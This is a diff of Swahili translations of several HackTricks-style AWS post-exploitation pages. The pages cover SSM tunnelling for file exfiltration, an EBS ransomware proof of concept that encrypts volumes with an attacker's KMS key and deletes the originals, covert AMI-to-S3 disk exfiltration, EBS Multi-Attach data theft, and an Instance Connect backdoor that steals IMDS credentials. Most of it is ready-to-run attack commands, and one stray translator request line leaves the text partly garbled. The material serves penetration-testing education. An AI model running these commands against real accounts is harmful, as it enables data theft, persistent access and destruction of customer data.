+#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
 
-Ikiwa unahitaji tu kuhamasisha **port moja ya TCP kutoka kwa mfano wa EC2 hadi mwenyeji wako wa ndani** unaweza kutumia hati ya SSM `AWS-StartPortForwardingSession` (hakuna parameter ya mwenyeji wa mbali inayohitajika):
+Ikiwa unahitaji tu kupeleka mbele **one TCP port from the EC2 instance to your local host** unaweza kutumia the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Amri inaunda handaki ya pande mbili kati ya kituo chako cha kazi (`localPortNumber`) na bandari iliyochaguliwa (`portNumber`) kwenye mfano **bila kufungua sheria zozote za Inbound Security-Group**.
+Amri inaunda tundu la pande mbili kati ya workstation yako (`localPortNumber`) na bandari iliyochaguliwa (`portNumber`) kwenye instance **bila kufungua sheria zozote za inbound za Security-Group**.
 
 Matumizi ya kawaida:
 
-* **Uhamasishaji wa faili**
-1. Kwenye mfano anzisha seva ya haraka ya HTTP inayolenga saraka unayotaka kuhamasisha:
+* **File exfiltration**
+1. Kwenye instance, anzisha HTTP server ya haraka inayolenga saraka unayotaka exfiltrate:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. Kutoka kwa kituo chako cha kazi pakua faili kupitia handaki ya SSM:
+2. Kutoka kwenye workstation yako, pakua faili kupitia SSM tunnel:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Kufikia programu za wavuti za ndani (mfano: Nessus)**
+* **Kupata programu za wavuti za ndani (mfano Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Tip: Punguza na ulinzi ushahidi kabla ya kuhamasisha ili CloudTrail isijulishe maudhui ya maandiko wazi:
+Kidokezo: Finyaza na ficha kwa usimbaji ushahidi kabla ya exfiltrating ili CloudTrail isirekodi yaliyomo kwa maandishi wazi:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -168,19 +233,19 @@ Tip: Punguza na ulinzi ushahidi kabla ya kuhamasisha ili CloudTrail isijulishe m
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Tafuta taarifa nyeti katika AMIs za umma na binafsi
+### Tafuta taarifa nyeti katika AMIs za umma na za binafsi
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua mifano kutoka kwa AMIs za lengo, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwa.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa ili **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za binafsi**. Inafanya kwa otomatiki mchakato wa kuanzisha instances kutoka AMIs lengwa, ku-mount volumes zao, na kuchunguza siri au data nyeti zinazoweza kuwepo.
 
-### Shiriki Picha ya EBS
+### Shiriki EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya baada ya unyakuzi wa S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo.
+Hii ni ithibitisho la dhana linalofanana na maonyesho ya Ransomware yaliyotolewa katika noti za post-exploitation za S3. KMS inapaswa kubadilishwa jina kuwa RMS (Ransomware Management Service) kutokana na urahisi wake wa kutumika kusimba huduma mbalimbali za AWS.
 
-Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa kila Akaunti ya AWS Principal kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
+Kwanza, kutoka kwenye akaunti ya 'attacker' ya AWS, tengeneza customer managed key ndani ya KMS. Kwa mfano huu tutamwachia AWS kusimamia data za ufunguo zangu, lakini katika tukio halisi mhusika mwenye nia mbaya angehifadhi data za ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu Principal wa akaunti yoyote ya AWS kutumia ufunguo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu upatikanaji wote inaitwa 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimami
 ]
 }
 ```
-Sera ya funguo inahitaji yafuatayo kuwezeshwe ili kuruhusu uwezo wa kuitumia kuandika EBS volume:
+Kanuni ya key policy inahitaji yafuatayo kuwekewa ili kuruhusu uwezo wa kuitumia ku-encrypt EBS volume:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ Sera ya funguo inahitaji yafuatayo kuwezeshwe ili kuruhusu uwezo wa kuitumia kua
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Sasa tukiwa na funguo inayopatikana hadharani. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances kadhaa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunazolenga kwa ajili ya kuandika, shambulio hili linafanywa chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
+Sasa tukiwa na key inayoweza kufikiwa hadharani kutumia. Tunaweza kutumia account ya 'victim' ambayo ina baadhi ya EC2 instances zilizozinduliwa na EBS volumes zisizo-encrypted zilizounganishwa. EBS volumes za account ya 'victim' ndizo tunazolenga kwa encryption; shambulio hili linafanywa chini ya dhana ya uvunjaji wa account ya AWS yenye ruhusa za juu.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Kama kwenye mfano wa S3 ransomware. Shambulio hili litatengeneza nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, litumie key inayopatikana hadharani kutoka account ya 'attacker' ili ku-encrypt EBS volumes mpya, kisha liteke EBS volumes za awali kutoka kwa EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kutengeneza EBS volumes zilizosanifiwa kwa encryption. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Hii inasababisha kuwa na EBS volumes tu zilizokuwa zimeandikwa zilizobaki katika akaunti.
+Hii inasababisha kuwa kwenye account itabaki tu EBS volumes zilizofinywa (encrypted).
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizoandikwa zimeondolewa sasa.
+Pia inastahili kutajwa, script ilizuia EC2 instances ili kutolewa (detach) na kufutwa kwa EBS volumes za awali. Volumes za awali zisizo-encrypted zimepotea sasa.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Ifuatayo, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Uandishi wa Nje' kutoka kwenye sera ya funguo.
+Ifuatayo, rudi kwenye key policy katika account ya 'attacker' na ondoa kanuni ya sera 'Outside Encryption' kutoka kwenye key policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ Ifuatayo, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe
 ]
 }
 ```
-Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya EBS volumes mpya zilizofichwa. Utagundua kwamba unaweza kuunganisha volume hiyo.
+Subiri muda mfupi ili sera ya ufunguo mpya ienewe. Kisha rudi kwenye akaunti ya 'victim' na jaribu kuambatisha moja ya EBS volume mpya zilizososwa (encrypted). Utaona kwamba unaweza kuambatisha volume.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Lakini unapojaribu kuanzisha tena EC2 instance na EBS volume iliyofichwa, itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani EBS volume iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
+Lakini unapojaribu kuanzisha tena EC2 instance yenye EBS volume iliyosimbwa, itashindwa tu na itarudi kutoka kwenye hali ya 'pending' kurudi kwenye hali ya 'stopped' maisha yote kwa sababu EBS volume iliyounganishwa haiwezi kufunguliwa (decrypted) kwa kutumia ufunguo kwani sera ya ufunguo haimo tena ili kuruhusu hilo.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichuzi. Script itafanya nakala zilizofichwa za EBS volumes ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha EBS volumes zilizofichwa pekee katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI YA KUHARIBU NA ITAFUTA EBS VOLUMES ZOTE ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku.
+Hii ni script ya python iliyotumika. Inachukua creds za AWS za akaunti ya 'victim' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa encryption. Script itafanya nakala zilizosimbwa za ALL available EBS volumes zilizounganishwa kwa ALL EC2 instances katika akaunti ya AWS inayolengwa, kisha itasimamisha kila EC2 instance, itatenganisha EBS volumes asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumiwa wakati wa mchakato. Hii itaacha tu EBS volumes zilizofsimbwa katika akaunti ya 'victim' iliyolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MTIHANI; INA UHARIBU NA ITAFUTA VOLIMU ZOTE ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia KMS key iliyotumika na kuzirekebisha kwenye hali yao ya awali kupitia snapshots, lakini nataka tu kukujulisha kuwa hii ni PoC ya ransomware mwishowe.
 ```
 import boto3
 import argparse
@@ -490,8 +555,8 @@ delete_snapshots(ec2_client, snapshot_ids)
 if __name__ == "__main__":
 main()
 ```
-## Marejeleo
+## Marejeo
 
-- [Pentest Partners – Jinsi ya kuhamasisha faili katika AWS kwa kutumia SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md

@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+Tumia vibaya EC2 AMI export-to-S3 ku-exfiltrate diski nzima ya instance ya EC2 kama single raw image iliyohifadhiwa kwenye S3, kisha ui-download nje ya out-of-band. Hii inazuia kushiriki snapshot na inatengeneza object moja kwa kila AMI.
+
+## Mahitaji
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` kwenye instance/AMI lengwa
+- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt kwenye key inayolinda AMI snapshots (ikiwa EBS default encryption imewezeshwa)
+- Sera ya S3 bucket inayomuamini `vmie.amazonaws.com` service principal (tazama hapa chini)
+
+## Athari
+- Upataji kamili wa offline wa diski ya root ya instance kwenye S3 bila kushiriki snapshots au kunakili kati ya accounts.
+- Inaruhusu stealth forensics juu ya credentials, configuration, na filesystem contents kutoka kwa exported raw image.
+
+## Jinsi ya Exfiltrate via AMI Store-to-S3
+
+- Vidokezo:
+- S3 bucket lazima iwe katika Region ile ile kama AMI.
+- Katika `us-east-1`, `create-bucket` haipaswi kujumuisha `--create-bucket-configuration`.
+- `--no-reboot` huunda crash-consistent image bila kusimamisha instance (stealthier lakini isiyo na consistency kamili).
+
+<details>
+<summary>Amri hatua kwa hatua</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Mfano wa Ushahidi
+
+- `describe-store-image-tasks` mabadiliko:
+```text
+InProgress
+Completed
+```
+- S3 object metadata (mfano):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Kupakua kwa sehemu kunathibitisha ufikiaji wa kitu:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Idhini za IAM Zinazohitajika
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (kwa bucket ya export): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Ikiwa AMI snapshots zimefichwa (encrypted), ruhusu decrypt kwa EBS KMS key inayotumika na snapshots
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md

@@ -0,0 +1,77 @@
+# AWS - Uiba wa Data ya Moja kwa Moja kupitia EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+Kutumia vibaya EBS Multi-Attach kusoma kutoka kwenye volume ya data hai io1/io2 kwa kuambatisha volume ile ile kwenye instance inayodhibitiwa na mshambuliaji katika Availability Zone (AZ) ile ile. Mounting the shared volume read-only kunatoa ufikiaji wa mara moja kwa mafaili yanayotumika bila kuunda snapshots.
+
+## Mahitaji
+- Volume lengwa: io1 au io2 iliyoundwa na `--multi-attach-enabled` katika AZ ile ile kama instance ya mshambuliaji.
+- Ruhusa: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` kwenye volume/instances lengwa.
+- Miundombinu: aina za instance za Nitro zinazounga mkono Multi-Attach (familia za C5/M5/R5, n.k.).
+
+## Vidokezo
+- Pakia (mount) kwa read-only na `-o ro,noload` ili kupunguza hatari ya uharibifu na kuepuka journal replays.
+- Kwenye instances za Nitro kifaa cha EBS NVMe kinaonyesha njia thabiti `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (msaada hapa chini).
+
+## Andaa volume ya Multi-Attach io2 na uiambatisha kwa mwenyeathirika
+
+Mfano (tengeneza katika `us-east-1a` na uiambatisha kwa mwenyeathirika):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+Kwenye mwathiriwa, format/mount the new volume na uandike data nyeti (kwa mfano):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Ambatisha volumu ile ile kwenye instance ya mshambuliaji
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Mount read-only kwenye mshambuliaji na soma data
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Matokeo yaliyotarajiwa: `VOL_ID` ile ile inaonyesha `Attachments` nyingi (victim na attacker) na attacker anaweza kusoma faili zilizoandikwa na victim bila kuunda snapshot yoyote.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Msaidizi: pata njia ya kifaa cha NVMe kwa Volume ID</summary>
+
+Katika instances za Nitro, tumia njia thabiti by-id inayojumuisha volume id (ondoa dash baada ya `vol`):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Impact
+- Ufikiaji wa kusoma mara moja kwa data hai kwenye EBS volume ya lengo bila kuunda snapshots.
+- Ikiwa ime-mounted read-write, mshambuliaji anaweza kuingilia filesystem ya mwathiriwa (hatari ya uharibifu).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md

@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Tumia vibaya EC2 Instance Connect Endpoint (EIC Endpoint) kupata ufikiaji wa SSH unaoingia kwenye instances za EC2 za ndani (bila public IP/bastion) kwa:
+- Kuunda EIC Endpoint ndani ya subnet lengwa
+- Kuruhusu SSH inayoingia kwenye SG lengwa kutoka SG ya EIC Endpoint
+- Kuingiza ufunguo mfupi wa SSH wa umma (unakubalika kwa takriban 60 sekunde) kwa `ec2-instance-connect:SendSSHPublicKey`
+- Kufungua tuneli ya EIC na pivoting hadi kwenye instance ili kuiba instance profile credentials kutoka IMDS
+
+Impact: njia ya kificho ya upatikanaji wa mbali hadi instances za EC2 za ndani ambayo inapita kando ya bastions na vizingiti vya public IP. Mshambuliaji anaweza kuchukua instance profile na kufanya shughuli ndani ya account.
+
+## Mahitaji
+- Idhini za:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Instance ya Linux lengwa yenye server ya SSH na EC2 Instance Connect imewezeshwa (Amazon Linux 2 au Ubuntu 20.04+). Watumiaji chaguo-msingi: `ec2-user` (AL2) au `ubuntu` (Ubuntu).
+
+## Vigezo
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## Unda EIC Endpoint
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Ruhusu trafiki kutoka EIC Endpoint kwenda target instance
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Ingiza SSH key ya muda mfupi na fungua tunnel
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Post-exploitation uthibitisho (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+Tafadhali tuma maudhui ya faili 'src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md' ili niweze kuyatafsiri kwa Kiswahili kwa kufuata miongozo uliyotoa.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Tumia creds zilizoibiwa kwenye mfumo wa ndani kuthibitisha utambulisho:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Usafishaji
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Vidokezo
+> - Ufunguo wa SSH uliowekwa ni halali tu kwa ~60 sekunde; tuma ufunguo mara tu kabla ya kufungua tunnel/SSH.
+> - `OS_USER` inapaswa kuendana na AMI (kwa mfano, `ubuntu` kwa Ubuntu, `ec2-user` kwa Amazon Linux 2).

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md

@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+
+Tumia vibaya `ec2:AssociateAddress` (na hiari `ec2:DisassociateAddress`) ili kuunganisha tena Elastic IP (EIP) kutoka kwa victim instance/ENI hadi attacker instance/ENI. Hii inaelekeza trafiki ya kuingia iliyokuwa ikielekezwa kwa EIP kwenda kwa attacker na pia inamruhusu attacker kuanzisha trafiki ya kutoka kwa nje ikitumia public IP iliyoorodheshwa (allowlisted) ili kupita firewalls za washirika wa nje.
+
+## Mahitaji
